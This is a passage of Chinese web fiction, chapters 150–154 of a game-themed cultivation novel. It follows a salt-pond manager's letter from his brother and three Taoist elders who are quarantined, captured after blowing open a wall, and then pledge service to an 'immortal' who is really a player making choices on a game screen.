潜灵山上,盐池的产出依旧平静,那些白花花的食盐早就被杨延率先处置好,留着让赵金构的商队过来带走外出售卖。 因这食盐价格便宜,品质高,赵金构并未费多大力气,便打通了数条售卖食盐的路子。 目前可以说,这食盐的商路绝对是最稳定的一条路线。 因为售出稳定,所以杨延只需要负责生产方面的问题即可。 倒是多亏了仙师将他提拔成为盐池的负责人,目前他仅靠着自己的工钱,就可以养活大哥一家和自己。 虽说杨大哥性格倔强,不肯多花他钱,但当时大哥也是因为保护他们而被贼人捉走,成了哑巴,这件事杨延一直心中有愧。 ——毕竟在大哥没被割舌以前,可真是一个能文善武,样样精通的优秀大哥。 只是因为现在他无法说话,所以失去了很多机会。 尤其是现在杨大哥还在干力气活,而那个原先不如他的弟弟却当上了盐池的负责人,赚的钱比他要多,看似风光无限。 自来到盐池后,除却一开始的忙碌,等到后来有时间下山时,杨延不敢,也不愿意回去面对大哥。 虽说杨大哥从未因为那件事埋怨他,但杨延就是害怕,——那个往日优秀的大哥,现在却要靠着他补贴家用。 他不知道按照大哥强烈的自尊心能不能接受这一现状。 杨延不敢想,每次一想这件事心中几乎要被愧疚的情绪填满,只能靠着多给大哥一家一些钱来弥补自己的愧疚。 所以每月他不曾回去,但工钱,他都是最准时地邮递回去,绝大部分都给了大哥。 他这些日子因为忙着盐池,倒是看着瘦了一些,除了在盐池这里忙碌后,杨延在空闲下来后,倒是会主动去集闻楼内看书,以增加见识,毕竟他家原先是开书馆的,看书这个习惯早就死死地刻印在他身上了。 先前不过是没机会,毕竟人都活不起了,看书不看书的,就不重要了。 但如今既然吃喝暂且不愁,他自然借着自己距离集闻楼近的机会,倒是经常会去楼内借书出来看。 起初来到集闻楼时,杨延先是被这楼奢华精致的外表震撼到了,等到进去后,站定在电梯这等仙物内,杨延觉得身体有些发飘,发晕。 不知道是害怕,还是惊讶,总之脑内晕乎乎的。 不过等次数一多,也就逐渐习惯。 遇到最多的人是方大人,她拿走的书又多又杂乱,大部分是民生,法律这方面的书籍,偶尔会借点别的书。 今日,杨延从集闻楼内离开,拿到了大哥刚托人带过来的信。 展开一看,原来是告诉他,他找到了一份新工作,官府的抄写员活计。 起初听闻这活计后,杨延还没反应过来这活计是干嘛的,但等他看到大哥的仔细解释后,倒是面露沉思之色。 据杨大哥所说,这活计就是帮官府记录一些不好被公开记录的东西,做这个活计,必要的条件就是沉默,还需要读书认字,写字要好看,记录要有条理,准确。 刚好,这些条件杨大哥全部占据了,且他还有个得天独厚的优势,那便是杨延本身为仙师效力,家庭背景比较可靠,这样的人,官府倒是也放心用他。 杨大哥在信件中开导他,大意是让他千万不要继续愧疚了,虽说自己失去了说话的能力,但是他很庆幸他们都还活着,在这世道上还有个互相能够依靠的伴,且因祸得福,一来是来到这美好而又祥和之地,被斗坡村村民所接纳,二来是苦难已经过去,他也因不能说话这一劣势,反而成为了官府的抄写员,这点倒是成为了他的优势。三就是他目前工资还算够用,不想让杨延再给自己打这么多钱。 最后一件事,杨大哥写的是,“何时归家?你那两个侄儿侄女整日念叨,总问叔叔几时回来?” 突然,杨延就觉得心头猛烈一震,肩膀抖动,先前那些无处释放的愧疚和痛苦像是突然找到了一个宣泄的地方,沿着胸口往下滚落,氤湿了信纸。 他抬手写下。 “后日休沐,吾便归家。”《 》 150-160 第151章 圈套 话说那永道宫三人,在路上奔波数日,这才到达了仇离所说之地。 ——风仙县。 一路走来时,他们亲眼看到了如今这惨淡的世道,百姓奔波着在战火中企图寻找一个能落脚的地方,就像是无家可归的游鸟试图想寻求一个落脚地,但在这乱世中,如何能有这样的地方? 仇师祖叹了口气,他是有心想帮,但众生皆苦,他不过一小小凡人,如何能帮得过来? 只能说不看不听罢了。 这乱世中,他们永道宫一般没什么大事都不下山,毕竟看到这场景,而自己又无法提供帮助,只会让人心生懊恼,怀疑自身所学,对日后修炼绝无益处,反而会成为突破瓶颈的心魔,扰乱修炼的气性。 若不是仇离着急传送过来的消息,他们三人是绝不会下山的。 等越接近仇离口中所说的风仙县,三人注意到附近开始逐渐变得有人味起来。 其实按道理不应该,毕竟越往风仙县这边走,应该是越靠近外围才对,不可能说会有这么多人。 三人颇有些警惕,纷纷猜测是不是前方有什么混乱。 手心里捏着符咒,三人在马车内看着外面情况。 路上竟然都是一些拖家带口的人,这些人边走,边互相说着什么,看着不太像是自己所想的那些危险情况,仇风长老驾驶马车稍微靠近了一些,想听听这些流民都在说些什么,等到听到话语中隐含的“仙人”二词后,三人不免脸色惊诧。 ——这消息都传到这里来了? 一时间,三人陷入沉默。 这事让他们有些摸不着头脑,原先仇离联络他们时,他们以为那仙人之地应当比较小,且这种事知道的人很少,但现在一看,好像和他想的有误差。 想到仇离所说仙人赐给的修炼术法‘青梧引’能让人引气入体,再看看现在这情况,一时间,三人有些怀疑——难道说那仙人所在之地已经发展到如此盛大的状况,靠着那引气入体,吸引着这些流民前往? 因为通讯时间不足,所以仇离当时并未解释特别清楚,只是大概说了一遍最重要的事,并未提及此术法修炼是有门槛的。 这才让三人误会。 等到犹豫片刻,三人一致认为应当先找机会下车看看情况才是。 很快,仇哀长老下车,找机会和流民搭讪一番。 起初搭讪并不顺利,毕竟流民对他很是警惕,好容易给塞了一点吃的,让那流民将警惕心放下,他忙问为何这么多人都往前走,这目的地地是哪儿? 那流民嘴里塞得满满当当,说话时喷得口水都是。 要不是他躲得快,这会脑门上就是对方满满当当的口水了。 微微蹙眉,想想自己想问的事,他还是一副好脾气的模样。 “当然是奔着仙盟去了!” 仙盟???! 仇哀长老顿时瞪大眼睛,呼吸急促,这仙盟可是他想的那意思?是那仙人创造的一个门派,内部遍布引气入体,精通各种术法的怪物们? 心中震撼,但他还要表现得轻松。 “为何要去那仙盟?” 流民吃着东西,继续开口:“你没听过很正常,那地可是仙人掌管的。” ——对上了,和他的猜测对上了! 仇哀长老心里一个“咯噔”,有点急,但是不敢急,拐着弯问:“即便是仙人掌管,那也应当有什么好处才愿意去吧?” 流民思索片刻回他:“自然,那地我听他们说可好了,去了以后,便是和外面完全不一样的地方。” 完全不一样的地方? 坏了——咯噔一声,他差点没能控制住表情,他最害怕的事还是发生了。 在他们毫不知情时,一个庞然大物,仙盟诞生了。 这仙盟内最基础的术法便是引气入体,而他们却是头一次听到这玩意。 若这番下去,感觉自家的永道宫很快会落后到连对方的背影都看不到了啊? 原先他们大部分时候是蹲在山上修炼,专注于提升个人技术,偶尔会下山游历一番。 但现在看来,正是因为他们的故步自封,导致了没能跟上时代的发展。 ——所以说,他们现在已经直接快进到了全员修仙时代了? 脑内想法太多,仇哀长老忍不住一阵眩晕,感觉再听下去自己快要接受不了这残酷的真相了。 本想再问几句,那流民吃完了东西就赶紧快步跑走了,他本想追上去打听一番,但无奈那人实在灵活得像个泥鳅,此地也不适宜用术法,省得会造成流民的混乱。 且再找人打听的话,难免要继续浪费时间。 这个时候,仇哀长老就开始羡慕李归一那家伙了,那人自带一阵亲切感,若是让他去打听消息,可谓一定比自己打听得要快且清楚,但现在没办法,车里三个人,推来选去,矮个子里拔高个,还是他能凑合着干这事,另外两人,唉算了,不想多说了。 这个时候,他就开始后悔,应该在山上带个会说话办事的小辈下来,好歹打听消息这事要比他在行啊! 但眼下没办法,这会思前想后,索性作罢上车回去。 仇师祖和仇风长老正等着仇哀长老回来,眼看他搭讪成功,问话花费时间不少,想必是拿到了一些消息的。 过了没多久,看到仇哀长老回来后,仇风忙问,仇师祖虽然没说话,但那双眼睛还是溢出了急迫。 仇哀长老很快按照问出来的东西,结合自己的理解将事情真相告知了二人,而后沉默许久,便听仇师祖感慨。 “我原先觉得修炼最好是要出世,防止被这凡尘污染本心,现在看来,这做法确实不够正确,不过既然眼下我等已经错过了一波修炼发展的机会,但最近的这次,可一定要抓紧了,别的不说,我们至少要比那景旭宫要起步早,只要保障这点,我们也不算亏。” 两人忙点头,表示自己完全同意师祖的看法。 马车继续向前前进,直到三人行驶进入那风仙县内。 他们一进去后就被询问是来干嘛的,思索片刻,三人决定还是回答为仙盟而来,毕竟他们也确实如此。 本以为会有什么事发生,结果眼前负责登记的官兵只是吼着嗓子喊了一句“仙盟的。”就将他们放走了。 正是疑惑不解时,三人被关押进了一小屋内面面相觑。 门外已经落了锁,那官兵开口:“外地来的必须先隔离三天才能进去。” 或许是因为事务繁忙,这官兵说完此话后很快便消失在了三人眼前。 ——隔离三天? 真的假的? 这确定不是故意将他们关在这里? 但细细思索,三人又觉得那些官兵态度不算差,或许是其中有什么误会? 仇风长老试探:“不如我等用术法炸开一个洞出去?” 仇哀长老反驳:“等等,这太冒昧了,万一确实有这个流程呢?我们岂不是还没入仙人眼中就已经留下了坏印象?” 仇师祖默默沉思,两人人吵得不可开交,最后还是仇哀长老受不了说了一句,“师祖,你说句话啊!” 仇师祖:“不然具体再问问仇离?” 潜灵山。 仇离正在试图感悟学习那《青梧引》,正是关键之际,自然没能注意到仇师祖发来的联络讯息。 三人看了半天,发现没联系上,这会面面相觑。 “联络仇朗看看?” 而此刻仇朗正和师叔李归一联络。 上次他想就着《青梧引》这事顺道联络一下师叔,但天不随人愿,当时或许是师叔有事,他不曾联络上,这会好不容易才联络上,自然是要将此事说个明白。 而李归一此刻则还在游历。 他所见之地越多,便越明白那风仙县的那位仙人是何等仁慈。 若不是那仙人,战火早就吞没了那地。 一开始游历时,李归一还想着仔细观察观察,这才能对比出不同来,但事实证明,他实在是想得太多了。 根本轮不到他仔细看,仅仅是一眼扫过去,他便明白自己错得邪乎。 想到以往他下山历练的场景,一时间,他顿觉羞愧。 ——他下山历练时,用的永道宫内术法,被以道长身份被奉为座上宾,压根接触不到那些真正底层百姓的世界。 但是他却不曾意识到,反而因为自己收服妖物鬼物而兴奋,沾沾自喜,自认为这便是历练。 好在被捧得越来越高时,遇到了那位仙人。 真正见了那桃源乡的世界,再真正贴着地面,凑进来看看如今眼下这世道,他原先的自信顿时便消融开来。 他原先所沾沾自喜的那些东西,似乎全部毫无意义。 妖物鬼物是可怕,但造成数以千百万人丧命的,却是人。 越是游历,他便越是感到那位仙人的伟大。 此等真仙,完全能够袖手旁观,但他却选择了完全相反的路,一条辛苦的,充满麻烦的路。 这一路上,他写下不少游记,而后印刷传播,试图将那美好之地,仙师之名传播出去。 他偶尔帮着高调地捕捉妖物鬼物,而问及来自何处时,说的却是那仙人所在之地。 没想到游历到一半时,仇朗给他发了消息,而等听到仇朗所说后,李归一突然生出了一种想回去看看的心思。 一是实在是好奇那《青梧引》,二则是好奇附如今风仙县的变化。 自上次一别,得快半年了,不知道半年能带来多大的变化? 抱着这份期待,李归一踏上了归途。 而与此同时,连仇朗也联络不上的三人彻底懵了。 ——两人都联络不上,难道情况有变,亦或是他们三人彻底陷入了圈套? 第152章 乌龙 再次回想先前经历的种种,一时间,三人都有些怀疑,这会甚是坐立不安。 仇哀长老蹙眉,仇风长老更直接,手里捏着符咒就想炸开墙。 两人掐架的同时,仇师祖手中还在掐算此次吉凶。 而就在他确定结果为“吉”后,刚想喊住两人,结果两人吵得太激烈,那张被仇风长老捏在手心的符咒不受控制地快速被甩向了墙壁,而后炸开一个窟窿。 “轰隆——”一声巨响,三人彻底呆愣在原地。 仇哀长老:“你到底干了什么?” 仇风长老:“你不是有眼睛吗?” 仇哀长老:“???你什么态度?” 仇风长老:“这是意外说到底还是你非要和我吵架,我刚才手滑了” 仇哀长老:“不是,这是手滑就能敷衍过去的事么?师祖,你说句话啊!” 仇师祖:心累不想说话 吵得没完没了时,突然三人听到外面一片嘈杂,这会竟然是直奔他们而来。 三人顿时紧张,架也不吵了。 仇风长老忍不住面色严肃开口:“炸都炸了,先跑吧?” 仇哀长老跟着吐槽:“一会被逮住了我第一个供认是你炸的。” 仇风长老:“你真歹毒。” 仇哀长老:“?实话实话。” 仇师祖:“还跑不跑了?一会没机会了。” 三人快速通过那炸裂开的墙壁,往外逃窜,为了避免被逮住,三人各自给各自贴了一张加速符咒,一时间,那些官兵拿他们没办法,只能看着他们越跑越远。 等到看不到官兵后,三人这才找了个地方开始喘。 本来想走正规途径进来拜访仙人的,现在谁能想到会有这般失误。 还不等叹息,就听到附近传来不少官兵的叫喊声,仇哀长老仔细去听,发现这些人竟然在找他们三人。 ——等会,这反应速度是不是太快了? 若是以往的话,理应等很久,县衙才会运作起来,如今竟然这么快? 在隔离墙被炸开的瞬间,在摸清楚大概情况后,立即便有人将此消息告知方知意,没想到会有这情景,方知意不由眼神锐利,心头涌出来一股肃杀之意。 竟有人蓄意炸毁隔离墙,难道这三人来自别的敌对势力,炸毁墙壁不过是三人自知自己熬不过三日隔离,索性炸了墙,直接逃走用某种未知的疾病来侵占本县? 原先被投毒的经历几乎瞬间蹦到眼前,方知意指骨握得发白,下达最新命令。 先行查看水源是否受到污染,而后再去追查那三人。 很快,各队官兵立即行动起来,而后几乎占据了整条街道。 三人看着满街道的官兵,各个蹙眉叹息。 一向不对付的仇风长老,仇哀长老两人也没心思继续斗嘴,眼下最重要的是先逃离,不然按照这种效率排查下去,他们三人肯定会被抓住。 但坏就坏在,这城门肯定是关的,虽说他们有符咒可以跳出去,但城门肯定有射箭的官兵。 一时间,事情似乎陷入了死局。 等三人深呼一口气,琢磨着逃离方法时,便听到他们藏身的小巷子里传来声响。 等等,是官兵追来了。 眼看官兵越靠越近,三人屏住呼吸,与此同时,仇师祖给三人贴了一张隐匿气息的符咒,试图躲过这场搜查,好在效果不过,这些官兵好像是受到了符咒的影响,逐渐远离他们。 正想松一口气时,仇师祖却感觉怀中的联络符似乎在发烫。 而后发出一阵声响 什么鬼,谁这么没有眼色这个时候联络他们? 仇师祖几乎是秒掐了联络符,三人大气不敢喘。 这声响虽说细小无比,但在此刻,几乎瞬间便引来了那官兵的注意。 走远的官兵再次折返回来,一步步接近他们。 三人顿时心跳如擂鼓,伴随着官兵越来越近,意识到被发现后,三人捏出另一张符咒,打算突击冲出去。 ——看来此地彻头彻尾就是一个引他们入局的圈套。 想起刚才那联络符,三人忍不住牙酸,别让他们知道了谁给发的联络符,不然他们一定要亲手教训这小兔崽子! 而与此同时,仇离看着自己被掐断的符咒陷入了沉思 什么鬼? 因此事重大,方知意派了慎刑司内的人也参与处理。 而此刻,在巷子里的并非别人,正是小师弟寻凉。 先前他感受到一股气息就在这巷子内,但很快,那股气息便消失不见,仔细探查一番无果后,只能暂时放弃,原路返回。 正当他人走得远了一些时,顿时听到一声极为细微的声音,虽说只有一瞬,但也足够让他瞬间确认了那三人的位置。 大致定位到了这三人位置后,寻凉缓缓前进,脑内已经模拟出三人的应对方案。 ——先前听下面汇报说,那隔离点被炸开了一个窟窿,十有八九,这三人身上说不定还会隐匿什么别的手段。 要小心,必须要一击就让对方丧失反抗的能力。 寻凉缓缓接近三人所在之地,在感受到一股微弱的风流动作后,顿时扭转身体,瞬间射出几枚暗器。 感受到破空而来的利器,三人迅速躲避,眼内生出一阵忌惮。 好凌厉的招式,本想着偷袭一番,但没想到此人竟然早就将他们的动作破解开来。 感觉到利器破空,并未听到扎入血肉的声音后,寻凉心中也是一惊,而后迅速转换策略。 ——活捉,带回去复命。 他身后还跟着几个慎刑司的下属,这会对抗起来,竟然是互不落下风。 跟对手打了几个回合下来,寻凉意识到对方是道士。 莫非是景旭宫的道士? 心中刚压下猜测,感受到那三人想逃,他立即追上去。 而此刻,三人越战越惊——没想到这仙盟内竟连普通官兵都如此生猛,刚刚战斗他们用了不少符咒,但竟然只和对方打了个平手,眼看符咒即将用尽,他们三人只能找机会逃走。 话说这人出手狠辣无比,招招冲着他们的死穴而来,不可谓不歹毒。 正是想事时,那人射出树根银针,仇师祖忙用符咒挡下,而后慢了一步被此人瞬间擒在手心。 仇哀长老和仇风长老互相对视一眼,暂时选择了暂避锋芒。 他们二人想逃,但却被同样的手段逼得无奈留在原地。 等到将三人绑得严严实实后,寻凉低下身子,用手粗暴而又仔细地在三人口中摸索一番,确定没有毒药后,这才喊人将三人一并带回复命。 路上三人想说点话,但嘴巴被堵得严严实实,等进了县衙,还没反应过来,人已经进了大牢。 很快,寻凉便去差人寻方大人过来。 等到方知意到了牢内,看到的就是被捆得严严实实的三个上了岁数的人。 寻凉还在一旁百无聊赖地等着,看到方知意的瞬间,倒是直起了身子。 “方大人,这便是那三人,你先问,问不出来东西我自有办法让他们开口。” 说话间,还摆弄了一番摆在牢房内的不少刑具。 话说,其实寻凉从一进牢房就开始故意摆弄刑具,想率先从精神上击溃敌人,觉得有趣时,他甚至会亲自解释一番。 三人脸色都称不上好。 尤其是仇师祖。 仇祖师:造孽啊他都这个岁数了还要受这份罪? 另外两人则是试图说点什么,但因为嘴被堵得严实,也没找到机会说,反而因为挣扎一人挨了一巴掌,这会老实了。 眼下看到方大人来了,寻凉解开了这三人口中的布料,面露威胁。 “好好回答县令大人的问题。” 三人愣了片刻,——等会,这小姑娘是县令? 刚开始进来时,他们只觉得此人身上有种意外的压迫感,还以为是和这把他们抓来的男人是同伙时,倒是没想到对方竟然是这风仙县的县令。 回想起很久之前,仇朗那小子好像是有提过这么一回事。 仇师祖蹙眉,思索原先仇朗说的东西。 方知意声音冷得和淬了毒。 “你们是谁派来的?目的为何?” 三人看了看那刑具,再想想自己目前的状况,决定还是痛快一些交代了得了。 等随着这三人爆出来的东西,方知意眼内划过一抹惊讶。 “你是说,你们是永道宫的人?此行前来主要是为了找仙师?” 方知意重复了一遍,脑内划过不少想法。 ——很多细节都对上了,这三人有极大可能就是仇离的长辈们。 为了确定身份,方知意决定先发制人。 “仇离是你们的什么人?” 三人楞在原地,而后还不等他说话,就听一略带喘息的熟悉声音响起。 “方大人且慢,这三位确实是我宫内的师长们,还请方大人放了他们。” 方知意微微回头,就看到意料中的人,仇离。 话说自仇离联络被挂断后,他便怀疑是出了什么意外,这才直奔风仙县而来。 等到到了县内,听到官兵们口中所说之事后,仇离立即直奔官府。 ——糟糕极了,不说别的,慎刑司的寻凉出手,那位他了解到可不是个心慈手软的主,若师祖师长们落入他手中,难免要被扒一层皮。 而最令他无奈的也是师长们竟然会用符咒强力破开那墙壁,简直是 但转念一想,也是因为他没将此事细细告知师长们,这才会闹出如此乌龙来。 等到将事情解释清楚,被押在牢房内的三人便被请到了会客厅。 而方知意则是坐在主座,脸上挂着淡笑。 “仇道长的意思是,你们想归顺仙人?” 第153章 效力 听闻方大人这般开口,包括仇离在内的四人则是微微叹息,而后才开口。 “我等愿意。” 就在刚才,仇离已经具体将《青梧引》这修炼术法的修炼秘诀告知了师长们,等知道这术法练习必须需要一定的基础后,他们这才反应过来自己先前对于仙人的认知出现了失误。 仇哀长老有些面色发红,要知道那消息是他打探到的,谁能想到能打探到这般离谱的消息? 这会忙红着脸问那仙盟为何物? 仇离大概将仙盟讲了一番,三人坐在座位上,一半好奇一半庆幸。 ——还好,好在他们没出现那种全民修仙了,他们还不曾开始的事,不过这仙盟设定实在是有趣,仇离便将自己打探到的消息一一告知师长们。 “仙盟的设定是方大人和赵金构共同设定而来,提出此设想的人是方大人,将此设想推行下去的人,则是赵金构。” 除却大概介绍一番后,仇离还说了一些别的事,譬如赵金构推广的细节,效果,范围等等。 等说到最后,仇满眼敬畏。 “不过说到底,仙盟的设定还是和仙人有关,仙人既想开设仙盟,他手下的人便去做了,说起这事,这学习《青梧引》必须需要替仙师效力,不然无法引用天地能量。” 觉得语言太过于苍白,仇离当着师长们的面运作了一番《青梧引》,之间几个呼吸间,三人立即察觉到一股不同寻常的气息来。 而后仇离在他们面前写了几枚符咒,速度快得飞起,若是非要说的话,速度要比原先快两倍。 仇风长老有些惊诧——仇离是跟着他学习绘制符咒的,他早就知晓仇离的极限在哪儿,但如今看着眼前绘制符咒飞快的仇离,他说不吃惊是假的。 “您也看到了,若运用这术法,我可以更快催动灵气,除了绘制符咒外,修炼起来也是是事半功倍。” 边说,仇离边运转了一番修炼打坐,三人紧紧地注视着仇离,的确如他所说,那修炼速度快了不少。 原先刚听到仇离说这《青梧引》可以引气入体,三人在瞬间的惊诧后也回味过来,——引气入体是好,但如今灵气稀薄,想必往上继续修炼困难得很,说到底,当时他们虽说觉得重要,但没能意识到此物的其余妙用。 而现在,此物修炼既能增加寿命,且还能让修炼,炼药,绘符等一切和灵气相关的事物变得更为高效。 几乎瞬间,他们三人就明白了此物的巨大作用。 若是原先他们还会犹豫是否要这么轻易效力于仙人,但现在,三人几乎是对视一眼,立即决定为仙人效力。 ——要知道,如果能抓住这次机会,《青梧引》不知道会带他们永道宫走到何种地步? 想想看吧,生命的长度增加了,且修炼的速度加快了,炼制相关符咒药物也快了,这下来到底能省多少时间和功夫? 如果一个人能遇到这样的好事,那也是极为厉害的机遇了,更别提他们现在是一整个宫都遇到了这番机遇,自然是不能错过。 且无论从仙人的立场,或者是这门功法上来看,效力于仙人绝对是当下能做出的最好选择。 如果他们没能抓住这次机会,日后不知道会懊恼多少次。 且最重要的是,若那景旭宫哪天反应过来,得知此事的话,想来他们永道宫斗不过对方。 这些都暂且不提,主要是景旭宫内的人品可要比他们永道宫烂多了,景旭宫内只认钱财利益,和他们所谓的闭世修炼完全不同,他们景旭宫绝对是完全的入世修炼。 且这么一遭下来,仇师祖也开始质疑自己原先的修炼方针了,这会前思后想,还是决定为仙人效力。 三人互相对视一眼,同意了这决定。 而当方县令询问时,仇师祖自然点头应下。 双方说了些场面话,毕竟仇风长老炸开墙壁这事做得确实不地道。 等到一番交涉,仇离总算是带着师长们离开了,倒是方知意想到了那先前入侵的景旭宫道士。 ——看来这永道宫道士便是仙师想到的克制景旭宫道士的手段?仙师果然要快她一步,她还不曾想出个好办法,仙师却通过仇离入手,将这永道宫纳入囊中,此手段不可谓不高超。 果然,她要跟着仙师学习的东西还是太多了。 而此时此刻,四人没停下,在马脚上贴了符咒后,直奔潜灵山而去。 一路上经过风仙县,仇师祖看着县内情况,陷入沉思。 ——这风仙县看着比他们一路走来遇到的别的地方好太多了,没有遍布街头的尸体,也没有哭嚎惨叫的人群,街道干净整洁,路上的百姓看着喜气洋洋,充满了对生活的希望,和他在别的地方看到的百姓,完全是两个状态。 想到路上遇到的那波流民,仇师祖不免开口询问那些流民该如何安置。 仇离道:“师祖不必多虑,那些流民在入城时会被隔离三天,等到确定身上没有什么疾病后,会被安排着先去上扫盲班,等到毕业后,再去安排着去开荒。 素日的话,有吃住的地方,只需要干活即可,且日薪给的也高,最低一百文一日。” 原先仇离绝非是个关注俗事的人,但自从来了这风仙县后,他除了日常修炼外,自然也注意到了往常不曾关注到的种种细节。 而后慢慢感受,他后知后觉的发现,他原先不喜关注俗世,是因为知道自己无法改变这肮脏的世道,只能避世,在自己为自己画出来的净土上欺骗自己,而现在,风仙县则是完全和其他地方不同,他在这里找到了一种只会存在于幻想中的世道,也愿意分出一部分时间为这世道做出贡献。 等到天色暗下来,看着风仙县内逐渐点燃的明亮的灯火,仇师祖不免惊呼出声。 仇风长老感慨:“这玩意到底是何物?这么明亮?” 仇哀长老:“想必是仙人弄出来的东西?” 仇离微笑着:“是沼气灯,先前仙师曾将沼气池的任务交付给我,研究一番后,总算按照那设计图将这沼气灯复刻出来了。 师祖若是有兴趣,我可仔细说说这沼气池的妙用。” 仇师祖:??? 但是他们拒绝不了了解一个这么神奇的沼气池! 等听仇离大概说明这沼气池运行的原理,以及它可用作做饭,取暖,照明后,他们还是叹息着沉默了。 ——这沼气池的价值太高了。 节省了一部分资源,废物利用,且作用的方面都是非常实用的方面,简直让人看得眼热不已。 三人眼巴巴地看着仇离,企图让他给永道宫内也整一个沼气池,倒是仇离有些犹豫,而后叹息。 “师祖,等会我会申请询问仙师,若仙师同意,便可借用方大人手下的匠人,可帮我们宫内建设一沼气池。” 仇师祖顿时欢喜起来,其实刚才他刚说出口就有些后悔了,万一这要求太为难仇离可该怎么办? 但话都说出去了,这会也没办法,只能等着回复,好在仇离并未拒绝,而是想了别的办法,试图一试。 四人上了山,越是靠近潜灵山,三人便越是紧张,而仇离面上虽说没什么表情,但心里难免也在紧张。 ——万一仙师不同意接纳永道宫该怎么办? 心里担忧,但马车在符咒的作用下很快便到了目的地。 等下车,等在那简朴的小屋外时,仇离这才开始在心中呼唤仙师。 与此同时,姜定的电脑屏幕上突然跳出来一则提醒。 【你的紫卡人物仇离带着永道宫来投奔你了,你是否打算接纳他们?】 【A.不接受,并且质疑这些家伙的可靠性。】 【B.接受,但同时警惕着这些人,主打一个区别对待。】 【C.全盘接受,相信仇离。】???等一下,A选项先不说,这B选项似乎是有点太不当人了啊? 姜定记得自己当初在收到紫卡人物仇离后,因为忙着去收农田,倒是忘了第一时间查看他的属性。 这会忙点开仇离的特殊属性界面查看。 【特殊属性:跨时代发明家。】??? 联想到先前仇离复刻出来的沼气池和蒸馏器,姜定顿时恍惚,而后兴奋得陷入沉思。 这紫卡人物有些Bug了,跨时代发明家,以后要是他有了别的新想法,尤其是那种觉得很困难才能实施的设想,完全可以通过仇离实现啊! 好好想想看,他现在手中的三个紫卡人物,属性都强得邪乎,赵金构负责经营售卖,方知意负责管理分析各类事物,而这个仇离则可以将他困难的设想落地,三个人简直相辅相成啊! 这会面对这个选项,姜定简直是毫不犹豫地选了C选项。 C!必须C!紫卡人物的出生地,万一还有不少别的好用的人才呢? 反正放弃能白嫖的机会他做不到啊! 在他选择了C选项后,这选项逐渐化作金光消散。 而于此同时,四人则是听到了一阵动静。 抬头去看,便看那竹林风声涌动,一阵极为恐怖的压迫感传来。 仇师祖不免捏紧了袍子内的符咒,眼神如炬地盯着那异常的来源之处。 另外两位长老也暗戳戳的捏紧符咒,生怕有什么变化。 仇离看向那中间,心中已有猜测。 “师祖,是仙人” 不等三人回应,便感觉到这摄人心魄的恐怖压力顿时消散,而后便是一阵清风吹拂,一身穿青色衣袍之人缓缓站定在一竹尖上。 身姿缥缈,闲庭信步,仿若行走在平地上。 第154章 破绽 三人还不曾反应过来,就看到那青衣男子在竹子上走了两步,走得轻盈无比,而后缓缓开口:“是永道宫的仇道长?” 仇师祖三人这会正被来人惊得愣在原地。 何等伟大的一张脸啊! 这绝对是神仙! 凡人,妖魔鬼怪绝对不会有这缥缈的真仙气质。 接下来的数秒,包括仇离,仍存在对仙师的震撼中。 仇离虽说上次亲眼见到过仙人,但当仙人真正出现在眼前的那一刻,仇离知道自己的心理准备还是做得太少了。 三人呆愣愣的看着那仙人背后钻出那条蛟龙来,心中的震撼更是加上一层楼。 ——驭龙?怎么做到的?要知道这门术法早就失传了许久,且就算不曾失传,那可是只有真仙才能驭龙! 这会脑袋里空白一片,直到仙人缓缓开口,那仿若寒泉流淌的声音缓缓流泻,冲淡了他们脑内的震撼,这会好不容易理智缓缓升起。 仇师祖忙回:“仙师,在下正是。” 他还在想该如何和仙人谈论效力的问题,对方却缓缓开口,那张美得不像真人的脸庞无喜无悲。 “我已知晓你心中所想,不必再说,你只需要在心中默念一遍即可。” 仇师祖:???真的假的? 他尝试着在心中允诺为仙人效力,几乎瞬间,他便能察觉到心脏处似乎多了一份薄薄的束缚,而后瞬间消失不见 等等,刚才那种心脏被束缚的感觉,绝对不是他的错觉,仙人会远古修仙时代的言契! 传说中,那言契只需要对方默念即可签订契约,他本以为这东西是骗人的,根本不存在,但现在感受着刚才的那股异样的感觉,仇师祖不免心头微震。 不等他说完,便听那仙人慢悠悠答道:“契约已成,从此以后莫忘记答应我的事。” 仇师祖忙去看仙人,就看到对方的衣袍被风吹得飞舞,那头长发被风吹得散开,但依旧貌美不像真人,似乎风都十分眷恋他,他在风的吹拂下,显得那份容貌更为惊人。 与此同时,仇师祖三人敏锐的注意到,仙人身上竟然透露出一丝淡淡的煞气。 很淡,但却让人无法忽略。 顺着这股煞气看过去,仇师祖看向了他腰侧的那两柄弯刀 只是细细一看,他便一阵头晕目眩,再瞪大眼睛,便能看到这弯刀上尖锐嘶吼的数万亡魂。 ——等等,这么明显的煞气来源,他为何一开始没发觉?难道,这也是仙人的伪装? 只是像仙人这般明月高悬的人物,为何会有这般煞气十足的武器? 仇师祖瞪大眼睛,眼内流露出不解,而与此同时,仇风长老和仇哀长老二人也发现了这一不妥。 一时间,几人都不敢随意开口。 直到仙人慢慢悠悠摁下去一只隐约凝聚成型的煞气,他们这才找到机会询问:“仙师这是?” “无碍,只是一些小小的玩闹罢了。” 仇离突然想到先前师祖想给永道宫建设一沼气池,这会忙请示仙师。 他头垂在地面,静静等待仙人的决策。 与此同时,姜定的屏幕上再次弹跳出来一个询问提示。 【你的紫卡人物想给自己老家安装一个沼气池,你是否同意?】 【需要如下物品:(铜块×200,竹子×200,石块×300,糯米石灰粉×20)】? 姜定愣了瞬间——什么鬼,还没见到过哪个游戏有这个见鬼的设定。 但是等等,无所谓,反正这些东西他的库存还有很多。 几乎毫不犹豫,姜定立即点击了同意。 游戏提示他。 【恭喜你,获得紫卡人物忠诚+20。】?等会,他还没看新紫卡人物的忠诚有多少。 等点击仇离的人物属性,看着忠诚度为70后,姜定不免叹息。 ——算了算了,想必日后还有机会再增加,现在只要他给好待遇,千万别让人跑了就成。 所以这会对待仇离更为宽容了。 别管提出什么要求,但凡是能满足的情况下,姜定就一个字,宠!必须狠狠宠!直到对方的忠诚度为满值再说! 毕竟仇离的天赋技能可是【跨时代发明家】啊! 而此时此刻,仇离静静地等待仙人的回复。 本以为可能会破费周折,但实际上,仙师答应了他的要求。 仇离楞了瞬间,不等他反应过来,说完这话后,仙人顿时消失,那竹子缓缓摇晃,竹林像是不曾来过人一般。 若不是仇师祖刚才试着运转了一番《青梧引》,感觉到自身的灵气流动加快了数分,这会还以为刚才发生的一切都是梦。 这会仇师祖不免夸赞仇离。 “仇离,你做得很好,咱们永道宫也能建造沼气池了,这多亏了你。” 仇离垂头,那张俊秀得雌雄莫辨的面庞流露出淡淡的微笑。 “师祖夸大了,之后我便去找方大人,让方大人协助我等。” 